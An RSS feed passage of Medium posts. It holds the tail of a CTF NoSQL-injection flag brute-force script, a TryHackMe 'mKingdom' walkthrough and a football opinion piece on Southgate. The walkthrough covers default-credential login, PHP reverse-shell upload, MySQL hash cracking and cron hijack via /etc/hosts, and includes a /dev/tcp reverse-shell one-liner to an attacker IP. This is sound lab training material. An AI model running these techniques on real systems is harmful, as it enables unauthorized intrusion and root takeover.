^{flag + chars[i]}}}&quot;, &quot;collection&quot;: &quot;flags&quot;}<br>        x = requests.post(url, data)<br><br>        if &#39;matched&#39; in x.text:<br>            flag += chars[i]<br>            print(flag)<br>            break<br><br>print(flag + &#39;}&#39;)</pre><p>That’s it for this writeup, I’ll try to post weekly writeups if we do end up playing weekly CTF’s, hope you guys enjoyed reading this. Also a big thanks to everyone at the SEFCOM Lab for making CTF Academy possible and accessible to new learners 🦾</p><h3>References:</h3><ul><li><strong>CTF Academy:</strong> <a href="https://ctf.asu.edu/education/ace-ctf-academy/">https://ctf.asu.edu/education/ace-ctf-academy/</a></li><li><strong>CEF File Format: </strong><a href="https://www.microfocus.com/documentation/arcsight/arcsight-smartconnectors-8.3/cef-implementation-standard/Content/CEF/Chapter%201%20What%20is%20CEF.htm">https://www.microfocus.com/documentation/arcsight/arcsight-smartconnectors-8.3/cef-implementation-standard/Content/CEF/Chapter%201%20What%20is%20CEF.htm</a></li><li><strong>PIET esoteric lang:</strong> <a href="https://esolangs.org/wiki/Piet">https://esolangs.org/wiki/Piet</a></li><li><strong>PIET Code generator: </strong><a href="https://github.com/sebbeobe/piet_message_generator">https://github.com/sebbeobe/piet_message_generator</a></li><li><strong>Docs. for NoSQL queries:</strong> <a href="https://backand-docs.readthedocs.io/en/latest/apidocs/nosql_query_language/index.html">https://backand-docs.readthedocs.io/en/latest/apidocs/nosql_query_language/index.html</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e96b7ffff33d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[mKingdom Tryhackme Writeup]]></title>
            <link>https://medium.com/@nikhilc2209/mkingdom-tryhackme-writeup-1a79e600260d?source=rss-b6aecb4000e9------2</link>
            <guid isPermaLink="false">https://medium.com/p/1a79e600260d</guid>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Nikhil Chapre]]></dc:creator>
            <pubDate>Wed, 31 Jul 2024 16:03:55 GMT</pubDate>
            <atom:updated>2024-07-31T16:03:55.988Z</atom:updated>
            <content:encoded><![CDATA[<p>Pretty ecstatic today, rooted another machine named <strong>mKingdom</strong> from Tryhackme, this is a free room so you can also try it if you want here: <a href="https://tryhackme.com/r/room/mkingdom">https://tryhackme.com/r/room/mkingdom</a>. <br>Although it is listed as an easy machine, I think you should have some hacking experience before solving this one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*trlQaxAuyV_snCJe.png" /></figure><p>Before starting the writeup I would like to mention that this won’t be a straightforward solution to rooting the machine, this is more about my approach and my hacking methodology to solve this machine. I will also highlight my successful, failed attempts as well as some mistakes I made along the way.</p><p>So let’s start:</p><h3>Port Scanning</h3><p>Used ping to see if the target machine is up followed by nmap which needs no introduction, we start off with a basic nmap scan of the target machine. only port 85 is open that is running an http service so I decide to visit it and I’m greeted by a a static site with scary face in the center.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*cLBk94nndKpzqAfQULyltA.png" /></figure><h3>Directory Enumeration</h3><p>I prefer gobuster for directory enumeration with a small basic wordlist from dirbuster and we find /app as one of the URL’s.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*AxZzJ2bWL6culh_vGGWKuw.png" /></figure><p><a href="http://10.10.225.20:85/app/">http://10.10.211.67:85/app/</a> is an empty webpage with a single button in the center named “JUMP” which gets us to <a href="http://10.10.225.20:85/app/castle/">http://10.10.211.67:85/app/castle/</a> which as mentioned is “Toad’s website”. The website looks like a personal portfolio with blog enabled, since blogs are in place there definitely is a CMS involved.</p><p>After looking around I found this at the bottom of the webpage, a Login link and the CMS being used.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZjNR42vxS5G453zNeBsQGw.png" /></figure><h4>CMS Reveal</h4><p>After inspecting the source code, we get the exact version of the CMS being used as <strong>8.5.2</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*TAfDZtrKBLAJLthvRTJztQ.png" /></figure><ul><li>With the exact CMS version I started looking for any known vulnerabilities, but found nothing interesting that I can use right away.</li></ul><p>The log in button takes us to the login form with username as password, but since we do not have any credentials I started looking elsewhere.</p><h3>Sub-directory enumeration</h3><p>Meanwhile, I started another scan for enumerating directories under /app/castle in the background and these are the results:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*1uVJQXa76a5lxgTexTLLiA.png" /></figure><p>The first three don’t lead anywhere, except for /concrete which gets the whole source code of the application but on closer inspection most of the sensitive files cannot be accessed.</p><p>After more unfruitful digging, I searched the internet for default credentials for the login page and I found <strong>admin</strong> as the default user, now I tried a couple of passwords to test my luck and to my surprise it worked!</p><p>username: admin, password: admin ❌<br>username: admin, password: password ✅</p><h3>Concrete5 dashboard</h3><p>Started looking the dashboard, the first thing that caught my eye was the files section shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2i_AmHLlId1Pc0VE4cvjAQ.png" /></figure><p>And I was already drooling for some juicy file upload vulnerabilities, and so my first instinct was to look for the allowed file types.</p><h4>Fuzzing allowed file types using Ffuf</h4><p>Now since checking for each file extension is a lot of manual labor so I decided to use ffuf to fuzz most common extensions for this file upload.</p><p>Check out this video to learn how to fuzz extensions for file uploads: <a href="https://www.youtube.com/watch?v=CyQPIFJ_gL4">https://www.youtube.com/watch?v=CyQPIFJ_gL4</a></p><p>First capture your request using Burp Suite and copy the request and save it in a text file, now use ffuf with the following command to list common file extensions:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*Y6i4pHJzZNbfLkDXJUrsSw.png" /></figure><ul><li>-request request.txt this refers to the file containing the captured request</li><li>-request-proto http refers to the protocol to be used for the request since the default is https</li><li>-w to use the wordlist mentioned after the flag</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*6ySZjxvn99uymz2kdREubQ.png" /></figure><p>So right now, only .txt and .xml are allowed (honestly I was hoping for any of the <strong>.php</strong> extensions to work but it’s alright)</p><p>Tried to look for an XML reverse shell that works with netcat on linux, but no luck.</p><p>After further investigation I found “Allowed FIle Types” section in the settings and added php to the mix, and now that we can upload .php files we can easily upload a reverse shell and gain access to the system using a netcat listener.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f6oz2M5Fk3JZ-DyzjUlpcw.png" /></figure><h4>PHP Reverse Shell</h4><p><a href="https://www.revshells.com/">https://www.revshells.com/</a> has been my go to place to craft reverse shells, and after downloading the PHP reverse shell with our ip address and port number we’re good to go.</p><h3>File Upload to reverse shell</h3><p>After successful file upload, we can open our terminal and start a netcat listener at the port 1234 using nc -nvlp 1234 to listen to any incoming requests. Now we open the URL with where we uploaded our php reverse shell and boom we’re in! (Are you even a hacker if you don’t say this XD)</p><p>First thing we do is we stabilize the shell, if you don’t know what shell stabilization is, I would recommend looking it up. <br>This is a good resource to understand Shell stabilization: <a href="https://maxat-akbanov.com/how-to-stabilize-a-simple-reverse-shell-to-a-fully-interactive-terminal">https://maxat-akbanov.com/how-to-stabilize-a-simple-reverse-shell-to-a-fully-interactive-terminal</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*B15S-BiCTmMr_npzjCWhkQ.png" /></figure><p>Using whoami we get the current user as <strong>www-data</strong> which is the default user for the web server on Ubuntu so we probably have very limited privileges. If we go to the home directory we see that there are two users <strong>mario</strong> and <strong>toad</strong> so our job now is to escalate privileges to first get the user flag and then get root access to get the root flag.</p><h3>Escalating Privileges to toad</h3><p>Since we’re highly restricted and cannot open most of the directories and files, any privilege escalation technique that we use will be in vain, we somehow need to find the password for either toad or mario.</p><p>Started looking manually in usr and var directories, backups are a great place to look into for stored passwords but all the backup files cannot be accessed by the current user. After some more searching found nothing and decided to use LinEnum for finding something of interest.</p><h3>LinEnum</h3><p>If you’re not familiar with LinEnum, it is an automated tool made for privilege escalation for Linux machines, it can help to list out sensitive information/files/permissions which can be exploited to get higher order users.</p><p>Looking at all the directories we see that we only have write access to the tmp directory so we can easily upload our LinEnum.sh file for enumeration here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/1*UutJmyeKAjmvdGjLjxDffA.png" /></figure><p>To upload the shell from our(attacker) machine to the target machine we just need to setup a python3 http.server on the port 80, so that we can serve files on the network. Now we can download this file on the target machine using wget.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/505/1*0Uu4kP6uwjBaMjzeDnCEoA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*XqgISV5-H8Nsdl3UpJxJPA.png" /></figure><p>After running LinEnum we get a plethora of infomation on the target machine, and after going through every section I found something interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*HlqLdR8h9YHyQkgHWvNHTw.png" /></figure><p>So we can login to mysql using root and no password.</p><p>After logging in we have 4 databases where two of them are just schemas, looking into the mKingdom database we can find the hashed password of the admin for the webapp (which was password) whereas looking into the mysql database we find a user table.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*n7wWBeUnr7lA7mYVgu9USA.png" /></figure><p>The user table contains the user toad and its hashed password shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*3iFnPYJzD1HZJUwkM9sLsw.png" /></figure><p>At first I thought that this is a SHA-1 hash since it is 40 characters long, but my dumbass didn’t realize that it is a <strong>MYSQL hash</strong> and therefore it starts with an asterisk. Now we can use hashcat to try and crack this password, and after looking at the example hashes table we can now crack our password using the following command:</p><p>hashcat -m 300 67d97d25e90a4914f673b306662641ad4010db82 /usr/share/wordlists/rockyou.txt.gz</p><p>And bingo we got the password!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/468/1*-J8KsxEyjM2CUZdtQIG3zw.png" /></figure><p>And now we can login in with the password by switching the current user:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/264/1*esq6Ka7bTrW_CqAh8BdURg.png" /></figure><h3>Escalating to mario</h3><p>Now we’re able to access the toad directory in /home, but found nothing of interest here, tried some basic privilege esc. techniques as well but nothing worked. After a lot of searching decided to use LinEnum again to check if I missed something(which I did).</p><p>Apart from the usual stuff the <strong>env</strong> file has an interesting entry named the PWD_TOKEN. Just by looking at it the assigned string to this variable is encoded using <strong>base64</strong>. The decoded base64 string might be the password for the other user or even the root user.</p><p>So we switch user to mario and try this password, and it works!</p><p>The mario directory in /home contains <strong>user.txt</strong> which has our user flag.</p><h3>Escalating to root</h3><p>Now that we have access to both the users and the user flag we have to work our way up to the root user.</p><p>Now this one took a lot of time, so much that I gave up and went to sleep and started afresh the next day. I tried everything to my knowledge, looked everywhere I could but still couldn’t find anything. In the end I decided to check on the running processes in real-time and uploaded <strong>pspy64</strong> in the /tmp directory using a local python3 http.server just as before.</p><p>To my surprise there are 2 processes which run every minute shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DPCmvD7Ybpb-b7ac8WxjfQ.png" /></figure><p>Now since they are executed by shell, if there is a way to edit this file and change it’s code we can spawn a reverse shell with root privileges. But the file is being downloaded every minute and is not writeable. What we can do however is try to change the url to our machine(attacker) so that the file being downloaded is made by us.</p><p>To do this we need to change the ip address of the mkingdom.thm from localhost to our attacker machine ip in the <strong>/etc/hosts</strong> file and luckily this file is writeable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*THe9NfBsh2dHhc87NQ2Oug.png" /></figure><p>Now we just need to make a counter.sh file which can spawn a simple reverse shell and place it inside the /app/castle/application directory, and start a python http.server on port 85 so that the whole path to the served file reads as http://&lt;ip&gt;:85/app/castle/application/counter.sh and start a netcat listener on a different port to listen.</p><p>sh -i &gt;&amp; /dev/tcp/10.9.5.111/4444 0&gt;&amp;1</p><p>Now since, the cronjob works every minute we will get a response on our netcat listener automatically and Voila! we get the reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/1*ghXkJ99QQVWMt0LKXbyDdw.png" /></figure><p>Running <strong>whoami</strong> to confirm current user, and we are logged in as the root user and now we can access the <strong>root.txt </strong>file which has the root flag.</p><p>And just like that we have solved this machine ezpz. I hope you enjoyed reading this and have a nice day!</p><h3>References</h3><ul><li><strong>File upload type fuzzing using ffuf:</strong> <a href="https://www.youtube.com/watch?v=CyQPIFJ_gL4">https://www.youtube.com/watch?v=CyQPIFJ_gL4</a></li><li><strong>Shell Stabilization guide:</strong> <a href="https://maxat-akbanov.com/how-to-stabilize-a-simple-reverse-shell-to-a-fully-interactive-terminal">https://maxat-akbanov.com/how-to-stabilize-a-simple-reverse-shell-to-a-fully-interactive-terminal</a></li><li><strong>Reverse Shell generator:</strong> <a href="https://www.revshells.com/">https://www.revshells.com/</a></li><li><strong>LinEnum:</strong> <a href="https://github.com/rebootuser/LinEnum">https://github.com/rebootuser/LinEnum</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1a79e600260d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Why England reaching the Euro Finals is a bittersweet tale about Football]]></title>
            <link>https://medium.com/@nikhilc2209/why-england-reaching-the-euro-finals-is-a-bittersweet-tale-about-football-2af6ade0f1dd?source=rss-b6aecb4000e9------2</link>
            <guid isPermaLink="false">https://medium.com/p/2af6ade0f1dd</guid>
            <category><![CDATA[football]]></category>
            <category><![CDATA[england-football]]></category>
            <category><![CDATA[euro2024]]></category>
            <category><![CDATA[tactics]]></category>
            <category><![CDATA[football-analytics]]></category>
            <dc:creator><![CDATA[Nikhil Chapre]]></dc:creator>
            <pubDate>Sun, 14 Jul 2024 11:36:00 GMT</pubDate>
            <atom:updated>2024-07-16T19:38:28.721Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4PkpUELPkQaSwK27tk4k3w.png" /><figcaption>A cheeky Star Wars reference iykyk</figcaption></figure><p>I honestly can’t think of a better way to explain this situation, it is ludicrous to say the least how the universe conspired for England, to help them land in another Euros final under Southgate. Simply saying that they were lackluster all tournament would be an understatement because they have looked abysmal throughout with glimpses of hope that have been time and again killed by Sir Gareth of Southgate. But such is football and I’m nothing but a humble spectator like many.</p><p>Before lashing out at the English management it is imperative to set the premise here so that I don’t look like a fool when they win 😐 (if they do win that is 🤞).</p><h3>Understanding Southgate’s journey</h3><p>Southgate has been associated with the English national team for more than a decade now, he was earlier a part of England U21’s and was later promoted to the senior team as an interim manager before getting the job on a 4-year contract so he has worked with a lot of young players and is familiar with the fickle nature of International football.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fwWriVk21hoJZ2WK" /><figcaption>Credits: Goal.com</figcaption></figure><p>Before his appointment he was associated with the FA for a long time and was supposed to be the right person to revive English football, which have looked highly disappointing in major tournaments with their <strong>last tournament victory coming in the 1966 World Cup!</strong></p><p>And 2018 England looked like a real promise, a young squad brimming with confidence until they were halted by Croatia in the semi-finals. Since then everybody agrees that Southgate has done an OK job, leading them to the Euro 2021 finals and to the WC 2022 QF, but now the bar is even higher than ever and people are discontent with the fact that they still haven’t won anything. There’s also this other feeling where the fans feel that the squad is competent enough to win, but isn’t playing to their full potential.</p><p>On top of all that he has always been seen as a timid manager who likes to play <strong>risk-averse football</strong> and that is something people always feel makes the football look conventionally <strong>“unattractive”</strong> and <strong>“dull”</strong>.</p><p>But what begs the question here is that <strong>“<em>Do you even need to play attractive football to win International games?”</em></strong></p><h3>The debate between Attractive vs Functioning football</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Mdza_ak4INi-MT-o" /><figcaption>Credits: The Coaches Voice</figcaption></figure><p>This is easily the most talked about conversation and a tug of war between football fans when it comes to International Football. International Football is often marked as the uglier version of football as compared to club football where it is seen as less systematic, less cohesive and a lot more pragmatic understandably so because there is less time to train and less chemistry between players playing under different systems for their clubs. Passion takes over technique &amp; tactics and often times a single mistake can prove to be the difference between victory and defeat.</p><p>At a place where the stakes are so high, <strong>do you play to win or to not lose is the biggest question</strong>, managers like Roberto Martinez, Deschamps &amp; Southgate have taken the latter way and have stuck to their beliefs in major tournaments. But, for the neutrals they look like the bad guys of football, the sith lords that take away the charm of football on the name of pragmatism.</p><p>For any football fan the expectations from any high-profile encounter is one of excitement where you want a nail-biting thriller, where you expect both teams to go at each other showing their attacking prowess at display. Instead these games look monotonic where these teams sit in a low block for large parts of the game and once they do score they start playing regressive football to avoid being scored on, commit tactical fouls, start wasting time to slow the tempo of the game as much as possible making it harder for their opponents.</p><p>And this belief is pretty popular because at the end of the day football is a game of two boxes as Sean Dyche said <strong>“Put the ball in that end, stop it going into the other end”.</strong> And for the most part it works in international football, where you have less time to prepare for tournaments, and less cohesion between teammates, it is important to do whatever floats your boat.</p><h3>Terrorball by Southgate</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/0*VTc5feeQtqKaRfri" /><figcaption>Courtesy of r/soccercirclejerk</figcaption></figure><p>Called out as a terrorist after the group games, “Possession is Haram” in his books and he is an ardent preacher of his own philosophy. He takes playing risk-averse football to a whole different level where it does not make sense anymore, there were so many instances in the tournament where the players just looked clueless and frustrated.</p><p>I’ve watched every single England game at this Euros and if you haven’t watched any, I can assure you that you haven’t missed anything because almost all of those games were a complete snooze fest. They’ve barely scraped their way out of the group stages, thanks to their win against Serbia in the first match or we might have seen a spectacular upset.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/0*-ecAIicg7tHxDav1" /><figcaption>Source: Michael Cox via X</figcaption></figure><ul><li>As you can see not only have they looked subpar this tournament, they seem to be getting progressively worse with each game, <strong>I know xG is not the only metric to quantify a team’s performance but it does show for sure that</strong> <strong>they have severely struggled to create chances from open play </strong>and for the large parts of the tournament they have relied on favorable draws &amp; hero plays at the death to propel them forward.</li></ul><h3>A Dysfunctional Team</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Aw6Xxyqx84vlfKxEckyQ7g.png" /></figure><h4>Making World-Class players look like fucking amateurs</h4><p>As described by Alan Shearer:</p><blockquote>We’ve got the best player in England in <strong>Phil Foden</strong>, we’ve got the best player in Spain in <strong>Jude Bellingham</strong> and the best player in Germany in <strong>Harry Kane</strong>, so we all feel as if we should be kicking on.</blockquote><blockquote>- Alan Shearer</blockquote><p>Watching England’s top talent who have shone for their clubs all season struggle to beat teams that are far inferior to them in terms of quality has to be painful every time, it’s not just that they have struggled to score against weaker oppositions there is that feeling that they do not have any control whatsoever in possession and always look shaky out of possession.</p><ul><li>One of the main reasons that I felt time and again holding them back is that there is <strong>no sense of tempo/rhythm within the team</strong>. They seem to be playing with a monotonous rhythm and there is no sense of urgency to get the ball up field. Their slow tempo of passes allow the opposition to sit in a low block and then they struggle to break it down. Even if they want to quicken their speed of passes they are not on the same page and their timing looks horrible.</li><li>If Kane drops deep to link up play, there is no one to make runs in-behind, if Saka does make runs in-behind there is no urgency to get into the box from Kane or Bellingham to finish chances. They don’t create meaningful chances from set-plays and struggle to recover when their plan goes awry.</li></ul><h4>Example sequence</h4><p>This sequence of play against Denmark sums up their lack of cohesion as a team, Trent who was deployed as a double pivot alongside Rice in midfield is known for his pinpoint diagonal passes while Foden who is deployed as a left winger is trying to make a run in-behind.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/0*fGLHNvTwCFNapAwr.png" /><figcaption>Credit: The Athletic</figcaption></figure><p>Even though TAA saw him making a run, he decides to delay the pass and meanwhile Foden has to check his run as to be not offside.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/0*s4Nqz2fJkHiOkime.png" /><figcaption>Credit: The Athletic</figcaption></figure><p>But at this point TAA does decide to play that pass even though that window of opportunity is gone, the weight on the pass is poor anyways and he ends up giving the ball back.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/0*qBFNWli_ulzJ7Bjm.png" /><figcaption>Credit: The Athletic</figcaption></figure><p>This is just one of the many issues that keep happening all over the pitch where the chemistry between the players is way off and they keep making bad decisions, <strong>which is ensued by a phase where they want to play safe football and end up passing backwards &amp; sideways</strong> without any intent. In the game against Slovakia Phil Foden cut a frustrated figure as after the first half and he decided to take matter into his own hands, often dropping out of the structure to receive the ball and make plays on his own.</p><h3>The Left-back problem</h3><p>I don’t know who exactly takes blame for this but this is a serious issue which is holding them back, coming into this tournament England do not have a single natural left-back available which suits Gareth Southgate. First choice fullbacks are Luke Shaw &amp; Ben Chilwell, where the former isn’t fully fit and the latter is ruled out due to injury, other choices include Joe Gomez who isn’t really a fullback but an outside centre-back or an inverted fullback who can play as a midfield pivot.</p><ul><li>Thus Kieran Trippier who is a natural right back has to fill in this position, and even though he is excellent defensively his biggest weakness is that <strong>he his a right-footed player. </strong>Which means he isn’t your ideal overlapping fullback who’ll hit the byline and ping in crosses or cutbacks but even if he positions himself in advanced areas the team does not look to build attacks from his side.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dPbLUo68sum8PoBW.jpeg" /><figcaption>Trippier’s Pass Map via Opta Analyst</figcaption></figure><p>What aggravates this problem even further is that they don’t play with a natural left winger to complement Trippier, Phil Foden who is England’s starboy is often deployed as the left-sided winger <strong>has no desire to play there, he feels more comfortable as a right sided #10 </strong>where he can cut on to his stronger left-foot and score bangers.</p><p>Foden’s reputation as the PL’s best player this season demands that Southgate has to pick him over Eberechi Eze &amp; Anthony Gordon which are your ideal left-wingers who can make runs in-behind and be a serious threat.</p><p>I think the team selection has to be questioned here because if Trippier cannot contribute to the attacking phases of the game why not bring someone on like <strong>Tyrick Mitchell</strong> who wasn’t even picked in the 26-man squad even though there were no real left backs available. Out of all the fullbacks, he has played the most minutes for his club this season and has the highest percentage of ground duels won in comparison to the other fullbacks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/479/1*gmBBttPpD-ObA1b2ct6G9Q.png" /><figcaption>Tyrick Mitchell heatmap for Crystal Palace this season via Sofascore</figcaption></figure><h3>My Main Criticism for Southgate</h3><p>This section is simply a compilation of the horrendous things Southgate has done this tournament, enjoy:</p><iframe src="https://cdn.embedly.com/widgets/media.html?type=text%2Fhtml&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;schema=reddit&amp;url=https%3A//www.reddit.com/r/soccer/comments/1dlg7rv/england_players_not_fit_enough_to_press/&amp;image=" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/1c67c0302a203ca9c1b91c669da17223/href">https://medium.com/media/1c67c0302a203ca9c1b91c669da17223/href</a></iframe><p>“Not fit enough to press”, I mean mate are you taking a piss at this point, Southgate has players from the most elite pressing sides in Europe and they can’t do it for England? This statement is downright atrocious as it feels like he is calling out his players in public, when players like Saka, Foden, Gallagher, Trippier, Gordon, Rice are literal pressing machines for their clubs.</p><iframe src="https://cdn.embedly.com/widgets/media.html?type=text%2Fhtml&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;schema=reddit&amp;url=https%3A//www.reddit.com/r/soccer/comments/1dss03w/itv_football_gareth_southgate_ivan_toney_was/&amp;image=" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/063bee4573a5bbc32b6c1b12a0d071c7/href">https://medium.com/media/063bee4573a5bbc32b6c1b12a0d071c7/href</a></iframe><p>I think out of all the horrible decisions that he made this was probably the most baffling decision, making delayed substitutions is one thing but bringing Ivan Toney on in the last minute of added time when they were about to be knocked out of the tournament is on another level. And acting all smug like it was all part of the plan after Bellingham hit a wonder goal is pure shithousery at this point. Regardless of the outcome that was a horrendous decision which you can’t defend and that alone would have got him sacked if they were knocked out against Slovakia.</p><h4>A visual representation of his regressive football</h4><p>I honestly don’t think I’ve much left to say here just take a good look at both these images and read Erik Ten Hag’s comment on Southgate, everything else is pretty self-explanatory.</p><iframe src="https://cdn.embedly.com/widgets/media.html?type=text%2Fhtml&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;schema=reddit&amp;url=https%3A//www.reddit.com/r/soccer/comments/1dkglgz/england_average_positions_before_and_after_their/&amp;image=" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/3deb567e69bd3c961a2e8dcc63f4b330/href">https://medium.com/media/3deb567e69bd3c961a2e8dcc63f4b330/href</a></iframe><iframe src="https://cdn.embedly.com/widgets/media.html?type=text%2Fhtml&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;schema=reddit&amp;url=https%3A//www.reddit.com/r/soccer/comments/1dhvw25/bbc_sport_average_england_positions_in_both/&amp;image=" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/1322c07a115906cfb33d86a170ac964c/href">https://medium.com/media/1322c07a115906cfb33d86a170ac964c/href</a></iframe><blockquote>“It’s the vision of the manager [Southgate],” after England’s form dipped in the second half after impressing in the opening 45 minutes.</blockquote><blockquote>“England will take a 1–0 lead, then he [Southgate] decides to start gambling with making his team compact and relying on moments for the remaining minutes of the game.”</blockquote><blockquote>- Erik Ten Hag after the game vs Serbia</blockquote><h3>The narrative shift around Southgate</h3><p>Practically speaking If I go around any British pub and ask any fan right now, about how they want their team to play on Sunday I am certain the unanimous response would be “I don’t care mate, Southgate can do whatever he wants, he can park the biggest bus on the pitch but he has to win”. To some extent these are the dubious morals at display from the fans who were shitting on him after the game vs Slovakia but now that they are in the final, a win is a win for them.</p><p>Though the context is also important here as even after playing subpar football <strong>no other English manager has enjoyed such a great record with the national team,</strong> but the only reason I’m concerned is because if they do win then in the grand scheme of things Gareth Southgate would look like England’s most prestigious manager, their knight in shining armor who ended a prolonged draught in silverware for the British.</p><iframe src="https://cdn.embedly.com/widgets/media.html?type=text%2Fhtml&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;schema=reddit&amp;url=https%3A//www.reddit.com/r/soccer/comments/1e06znu/gareth_southgate_has_now_won_as_many_major/&amp;image=" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/bc1293c0efd3cdc1e9cb0aa5e9eecce9/href">https://medium.com/media/bc1293c0efd3cdc1e9cb0aa5e9eecce9/href</a></iframe><p>Honestly till now I’ve been constantly moaning about Southgate’s shortcomings but at the end of the day Southgate has shown better results than others in contention. Even though I don’t think he’s the right man for this job but he’s not all bad either, I just know that there are no excuses left, this team is good enough to beat any team on paper and they have to prove their mettle in a one-off encounter with La Roja.</p><h3>Final Thoughts</h3><p>Football was and always will be for the fans and for the same reason it doesn’t really matter who wins on Sunday, it is the moments that we live for and remember in the grand scheme of things. If England manage to win people will always remember the late goals from Jude Bellingham and Ollie Watkins that propelled them into the finals instead of pointing out Southgate’s shortcomings as a manager. Ollie Watkins, what an incredible fucking guy by the way, started his club career in the <strong>sixth-tier of English football</strong> and made it to the very top with sheer talent, I mean kudos to him and I wish him the very best. As I said both teams have an incredible narrative going into this final and hopefully we’ll have a nail-biter.</p><p>Honestly, this is probably Southgate’s final chance for redemption and he has to hope that his boys show up for those 90 minutes against Spain no matter how they choose to play. Win this and every war crime that he has committed to reach here will be forgotten, every wound healed, every critic silenced and he can choose to walk with a smug face earning knighthood in the eyes of the locals.</p><p>By the way, who are you rooting for ¿España o Inglaterra?</p><h3>References:</h3><ul><li><strong>The Athletic(Tifo Football):</strong> <a href="https://www.youtube.com/watch?v=WYwRCkUpOiM&amp;">https://www.youtube.com/watch?v=WYwRCkUpOiM&amp;</a></li><li><strong>Erik Ten Hag on Southgate:</strong> <a href="https://www.telegraph.co.uk/football/2024/06/16/erik-ten-hag-new-manchester-united-contract-ratcliffe-ineos/">https://www.telegraph.co.uk/football/2024/06/16/erik-ten-hag-new-manchester-united-contract-ratcliffe-ineos/</a></li><li><strong>The Athletic article highlighting England issues:</strong> <a href="https://www.nytimes.com/athletic/5580575/2024/06/21/england-euro-2024-left-side-issues/">https://www.nytimes.com/athletic/5580575/2024/06/21/england-euro-2024-left-side-issues/</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2af6ade0f1dd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pedri’s resurgence under Luis de la Fuente]]></title>
            <link>https://medium.com/@nikhilc2209/pedris-resurgence-under-luis-de-la-fuente-761429133c83?source=rss-b6aecb4000e9------2</link>
            <guid isPermaLink="false">https://medium.com/p/761429133c83</guid>
            <category><![CDATA[football]]></category>
            <category><![CDATA[spain]]></category>
            <category><![CDATA[football-analytics]]></category>
            <category><![CDATA[tactics]]></category>
            <category><![CDATA[euro2024]]></category>
            <dc:creator><![CDATA[Nikhil Chapre]]></dc:creator>
            <pubDate>Fri, 28 Jun 2024 21:04:23 GMT</pubDate>
            <atom:updated>2024-06-28T21:04:23.572Z</atom:updated>
